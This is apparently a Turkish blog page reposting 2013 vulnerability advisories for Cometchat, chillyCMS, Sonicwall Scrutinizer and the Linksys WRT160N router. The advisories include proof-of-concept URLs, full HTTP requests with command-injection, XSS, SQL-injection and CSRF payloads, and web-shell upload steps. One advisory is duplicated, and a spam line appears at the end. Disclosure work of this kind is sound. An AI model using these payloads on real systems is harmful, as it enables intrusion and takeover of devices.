admin | 15 Şubat 2013
No comments

Cometchat Multiple Vulnerabilities

Cometchat chatroom.php scriptinde XSS açığı bulunmuş olup açık hakkında açıklamalar ve açığın kullanımı şu şekilde;

 ##################################################################################
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ _________ _
 __  / / __ `/ __ / / ___/ ___/ __ `/ ___/ / _ / ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
____/__,_/_/ /_/_/____/____/__,_/_/  /_/___/____(_)____/_/   __, /  
                                                                /____/   
##################################################################################                                                                                                                              
Cometchat chat Application All Version Multiple Vulnerabilities
Cometchat is a chat application which in use Vbulletin,Xenforo,SMF,MyBB and other integrated scripts
App Homepage : http://www.cometchat.com

Author(Pentester): B127Y
Special Thanks : Burtay and All Janissaries Team(Burtay,Miyachung,3spi0n,TheMirkin,Michelony,Mectruy)
Jani Exploit id 1 (http://www.janissaries.org/exploits/1)
##################################################################################



1.)Code Execution P0C (modules/chatrooms/chatrooms.php)
call_user_func call_user_func($_GET['action']); 
Can use all php functions and cometchat function without arguments

Live Demo:http://server/cometchat/modules/chatrooms/chatrooms.php?action=phpinfo

2.)XSS P0C (plugins/handwrite/index.php)
echo echo  < < <EOD   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">    <html>    <head>    <title> Download </title>     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>       <style>   html, body, div, span, applet, object, iframe,  h1, h2, h3, h4, h5, h6, p, blockquote, pre,  a, abbr, acronym, address, big, cite, code,  del, dfn, em, font, img, ins, kbd, q, s, samp,  small, strike, strong, sub, sup, tt, var,  dl, dt, dd, ol, ul, li,  fieldset, form, label, legend,  table, caption, tbody, tfoot, thead, tr, th, td {   margin: 0;   padding: 0;   border: 0;   outline: 0;   font-weight: inherit;   font-style: inherit;   font-size: 100%;   font-family: inherit;   vertical-align: baseline;      text-align: center;  }    html {    height: 100%;    overflow: hidden; /* Hides scrollbar in IE */  }    body {    height: 100%;    margin: 0;    padding: 0;  }    #flashcontent {    height: 100%;  }       </style>        </style>      </head>    <body>  <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"          codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0"          width="100%"          height="100%"          align="middle"          id="main">        <param name="allowScriptAccess" value="sameDomain" />        <param name="movie" value="handwriting.swf" />        <param name="quality" value="high" />        <param name="bgcolor" value="#ffffff" />        <param name="FlashVars" value="tid={$toId}" />         <param name="scale" value="exactFit" />        <embed src="handwriting.swf"             width="100%"             height="100%"             autostart="false"             quality="high"             bgcolor="#ffffff"             FlashVars="tid={$toId}"             name="main"             align="middle"             allowScriptAccess="sameDomain"             type="application/x-shockwave-flash"             pluginspage="http://www.macromedia.com/go/getflashplayer" />    </object>  </body>    </html>   EOD; 
$toId = $_GET[&#39;id&#39;]; 

Live Demo:http://server/cometchat/plugins/handwrite/index.php?id=">  <script> alert(document.cookie) </script>
Category: Genel | Tags:
admin | 15 Şubat 2013
No comments

chillyCMS 1.3.0 – Multiple Vulnerabilities

chillyCMS 1.3.0 Versiyonunda zip uzantılı dosya php uzantıya çevrilmek suretiyle shell upload açığı oluşmuş olup, açık hakkında açıklamalar şu şekilde;

# Exploit Title: chillyCMS 1.3.0 Multiple Vulnerabilities
# Google Dork: "powered by chillyCMS"
# Date: 15 February 2013
# Exploit Author: Abhi M Balakrishnan
# Vendor Homepage: http://chillycms.bplaced.net/
# Software Link: http://chillycms.bplaced.net/chillyCMS/media/files/chillyCMS_full.zip
# Version: 1.3.0
# Tested on: uWAMP 2.1 (PHP 5.2.17, MySQL 5.5.9), Windows 8
# Video: ?v=6B3rND9S75g


# Vulnerability
        Failure to Restrict URL Access
        chillyCMS uses 302 redirects to restrict access to the unautorized pages.
        
# Exploit
    Step 1: Create a rule in No-Redirect Add-on: ^http://localhost/chillyCMS/
    Step 2: Access http://localhost/chillyCMS/admin/


# Vulnerability
        Arbitrary File Upload
        chillyCMS/admin/design.site.php page extracts all uploaded ZIP files to chillyCMS/tmp directory
        
# Exploit
    Step 1: Create a ZIP file of the files to be uploaded. Example: Compress shell.php to get shell.zip
    Step 2: Upload shell.zip
        Step 3: Access the shell at http://localhost/chillyCMS/tmp/shell.php
        
# History
        11 March 2012 - Discovered vulnerability and exploit, contacted the vendor.
        12 March 2012 - Vendor responds back, exchanges few mails.
        15 November 2012 - Vendor discontinues further development.
        15 February 2013 - Published the vulnerabilities and exploits to the public.
        
# How to reproduce
        The latest download from the website was not working on fresh install. An earlier version (1.1.3) has been installed and all the PHP files, except config.php, have been replaced with new files.
Category: Genel | Tags:
admin | 15 Şubat 2013
No comments

Sonicwall Scrutinizer v9.5.2 – SQL Injection Vulnerability

Sonicwall Scrutinizer v9.5.2 – SQL Injection Açığı bulunmuş Olup Açığın oluşum yeri ve Açık hakkındaki açıklamalar aşağıdaki gibidir;

Title:
======
Sonicwall Scrutinizer v9.5.2 - SQL Injection Vulnerability


Date:
=====
2013-02-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=789

#9984: Investigate Vulnerability Lab issues (this ticket included tracking the creation of our DBI shim to error on semi-colon)
#10149: Create a common function to escape characters that can be used for SQL injection
#10139: Review all mapping and flow analytics queries to make sure inputs included in SQL are escaped
#10141: Review all reporting and filtering queries to make sure inputs included in SQL are escaped
#10140: Review all alarm tab and admin tab queries to make sure inputs included in SQL are escaped


VL-ID:
=====
789


Common Vulnerability Scoring System:
====================================
7.3


Introduction:
=============
Dell SonicWALL Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers.
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can
deploy Scrutinizer as a virtual appliance for high performance environments.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer.html )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in the Dells Sonicwall OEM Scrutinizer v9.5.2 appliance application.


Report-Timeline:
================
2012-12-05:     Researcher Notification & Coordination
2012-12-07:     Vendor Notification
2013-01-08:     Vendor Response/Feedback
2013-02-10:     Vendor Fix/Patch
2013-02-11:     Public Disclosure


Status:
========
Published


Affected Products:
==================
DELL
Product: Sonicwall OEM Scrutinizer 9.5.2


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A blind SQL Injection vulnerability is detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
The bug allows remote attackers to execute/inject own sql statement/commands to manipulate the affected vulnerable application dbms.
The sql injection vulnerability is located in the fa_web.cgi file with the bound gadget listing module and the vulnerable orderby or
gadget parameters. Exploitation requires no user interaction & without privileged application user account. Successful exploitation of
the remote sql vulnerability results in dbms & application compromise.

Vulnerable File(s):
                        [+] fa_web.cgi

Vulnerable Module(s):
                        [+] gadget listing

Vulnerable Parameter(s):
                        [+] orderby
                        [+] gadget


Proof of Concept:
=================
The remote sql injection vulnerability can be exploited by remote attackers without required privileged application user account
and also without user interaction. For demonstration or reproduce ...

PoC:
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes-1%27[SQL INJECTION VULNERABILITY!]&orderby=1&cachebreaker=23_52_5_814-1%27
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes&orderby=-1%27[SQL INJECTION VULNERABILITY!]&cachebreaker=23_52_5_814-1%27



Solution:
=========
1) Scrutinizer team created a own DB layer that will die if a semicolon is found within a SQL query
2) We have changed more queries to pass inputs as bound variables to the DB engine which prevents possible SQL injection


Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ()


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.vulnerability-lab.com/register
Contact:             -                 - 
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - news.vulnerability-lab.com
Social:                  -                 - 
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ( or ) to get a permission.

                                        Copyright � 2012 | Vulnerability Laboratory



--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT:
Category: Genel | Tags:
admin | 15 Şubat 2013
No comments

Sonicwall Scrutinizer v9.5.2 – SQL Injection Vulnerability

Sonicwall Scrutinizer v9.5.2 – SQL Injection Açığı bulunmuş Olup Açığın oluşum yeri ve Açık hakkındaki açıklamalar aşağıdaki gibidir;

Title:
======
Sonicwall Scrutinizer v9.5.2 - SQL Injection Vulnerability


Date:
=====
2013-02-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=789

#9984: Investigate Vulnerability Lab issues (this ticket included tracking the creation of our DBI shim to error on semi-colon)
#10149: Create a common function to escape characters that can be used for SQL injection
#10139: Review all mapping and flow analytics queries to make sure inputs included in SQL are escaped
#10141: Review all reporting and filtering queries to make sure inputs included in SQL are escaped
#10140: Review all alarm tab and admin tab queries to make sure inputs included in SQL are escaped


VL-ID:
=====
789


Common Vulnerability Scoring System:
====================================
7.3


Introduction:
=============
Dell SonicWALL Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool 
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers. 
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight 
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range 
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can 
deploy Scrutinizer as a virtual appliance for high performance environments. 

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer.html )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in the Dells Sonicwall OEM Scrutinizer v9.5.2 appliance application.


Report-Timeline:
================
2012-12-05:     Researcher Notification & Coordination
2012-12-07:     Vendor Notification
2013-01-08:     Vendor Response/Feedback
2013-02-10:     Vendor Fix/Patch
2013-02-11:     Public Disclosure


Status:
========
Published


Affected Products:
==================
DELL
Product: Sonicwall OEM Scrutinizer 9.5.2


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A blind SQL Injection vulnerability is detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
The bug allows remote attackers to execute/inject own sql statement/commands to manipulate the affected vulnerable application dbms.
The sql injection vulnerability is located in the fa_web.cgi file with the bound gadget listing module and the vulnerable orderby or 
gadget parameters. Exploitation requires no user interaction & without privileged application user account. Successful exploitation of 
the remote sql vulnerability results in dbms & application compromise. 

Vulnerable File(s):
                        [+] fa_web.cgi

Vulnerable Module(s):
                        [+] gadget listing

Vulnerable Parameter(s):
                        [+] orderby
                        [+] gadget


Proof of Concept:
=================
The remote sql injection vulnerability can be exploited by remote attackers without required privileged application user account 
and also without user interaction. For demonstration or reproduce ...

PoC:
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes-1%27[SQL INJECTION VULNERABILITY!]&orderby=1&cachebreaker=23_52_5_814-1%27
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes&orderby=-1%27[SQL INJECTION VULNERABILITY!]&cachebreaker=23_52_5_814-1%27



Solution:
=========
1) Scrutinizer team created a own DB layer that will die if a semicolon is found within a SQL query
2) We have changed more queries to pass inputs as bound variables to the DB engine which prevents possible SQL injection


Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ()


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.vulnerability-lab.com/register
Contact:             -                 - 
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - news.vulnerability-lab.com
Social:                  -                 - 
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or ) to get a permission.

                                        Copyright � 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT:
Category: Genel | Tags:
admin | 11 Şubat 2013
No comments

Linksys WRT160N – Multiple Vulnerabilities

Linksys WRT160N – Multiple XSS Post açıkları bulunmuş olup açık hakkında geniş kapsamlı açıklamalar şu şekildedir.

Device Name: Linksys WRT160Nv2
Vendor: Linksys/Cisco

============ Device Description: ============ 

Best For: Delivers plenty of speed and coverage, so large groups of users can go online, transfer large files, print, and stream stored media

Features:
    * Fast Wireless-N connectivity frees you to do more around your home
    * Easy to set up and use, industrial-strength security protection
    * Great for larger homes with many users

Source: http://homestore.cisco.com/en-us/routers/Linksys-WRT160N-Wireless-N-Router-Front-Page_stcVVproductId53934616VVcatId552009VVviewprod.htm

============  Vulnerable Firmware Releases: ============ 

Firmware Version: v2.0.03 build 009

============ Shodan Torks ============ 

Shodan Search: WRT160Nv2
        =>  4072 results

============ Vulnerability Overview: ============ 

* OS Command Injection

        =>  parameter: ping_size

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///Diagnostics.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=|ping 192.168.178.101|&ping_times=5&traceroute_ip=

Change the request methode from HTTP Post to HTTP GET makes the exploitation easier (CSRF):

http://Target-IP/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=|ping 192.168.178.100|&ping_times=5&traceroute_ip=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WRT160Nv2-OS-Command-Injection.png

* Directory traversal:

        =>  parameter: next_page
        
Access local files of the device. You need to be authenticated or you have to find other methods for accessing the device.

Request:
POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///Wireless_Basic.asp
Authorization: Basic XXXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version

Response:
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 02:53:16 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

Linux version 2.4.30 (tcy) (gcc version 3.3.6) #9 Fri Aug 21 11:23:36 CST 2009

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WRT160Nv2-directory-traversal.png

* XSS

Injecting scripts into the parameter ddns_enable, need_reboot, ping_ip and ping_size reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

        =>  Setup =>  DDNS
        =>  parameter ddns_enable

POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///DDNS.asp
Authorization: Basic XXXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

submit_button=DDNS&action=&change_action=gozila_cgi&submit_type=&wait_time=6&ddns_changed=&ddns_enable=&#39;;alert(&#39;pwnd&#39;)//

        =>  Setup =>  Basic Setup
        =>  parameter need_reboot

POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///index.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 568

pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=pppoe&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=&#39;;alert(&#39;pwnd&#39;)//&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=pppoe&ppp_username=pwnd&ppp_passwd=d6nw5v1x2pc7st9m&ppp_service=pwnd&ppp_demand=0&ppp_redialperiod=30&wan_hostname=pwnd&wan_domain=pwnd&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=233&lan_netmask=255.255.255.0&lan_proto=static&time_zone=-08 1 1&_daylight_time=1

        =>  Administration =>  Diagnostics
        =>  parameter ping_ip and ping_size
        
POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///Diagnostics.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&#39;>  <script> alert(2) </script> &ping_size=32&#39;>  <script> alert(1) </script> &ping_times=5&traceroute_ip=

It is possible that there are much more XSS Vulnerabilities in this device. I have stopped testing here ... so feel free to check more parameters for input validation problems and XSS vulnerabilities.

* For changing the current password there is no request of the current password

        =>  parameter: http_passwd and http_passwdConfirm

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

POST /apply.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http:///Management.asp
Authorization: Basic XXXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 250

submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&wait_time=4&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management:

http:// <IP> /apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&wait_time=4&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: 

============ Time Line: ============

Dezember 2012 - discovered vulnerability
23.12.2012 - Contacted Linksys and give them detailed vulnerability details
11.02.2013 - public release

===================== Advisory end =====================
Category: Genel | Tags:
« Older Entries   Recent Entries »
escort bayan escort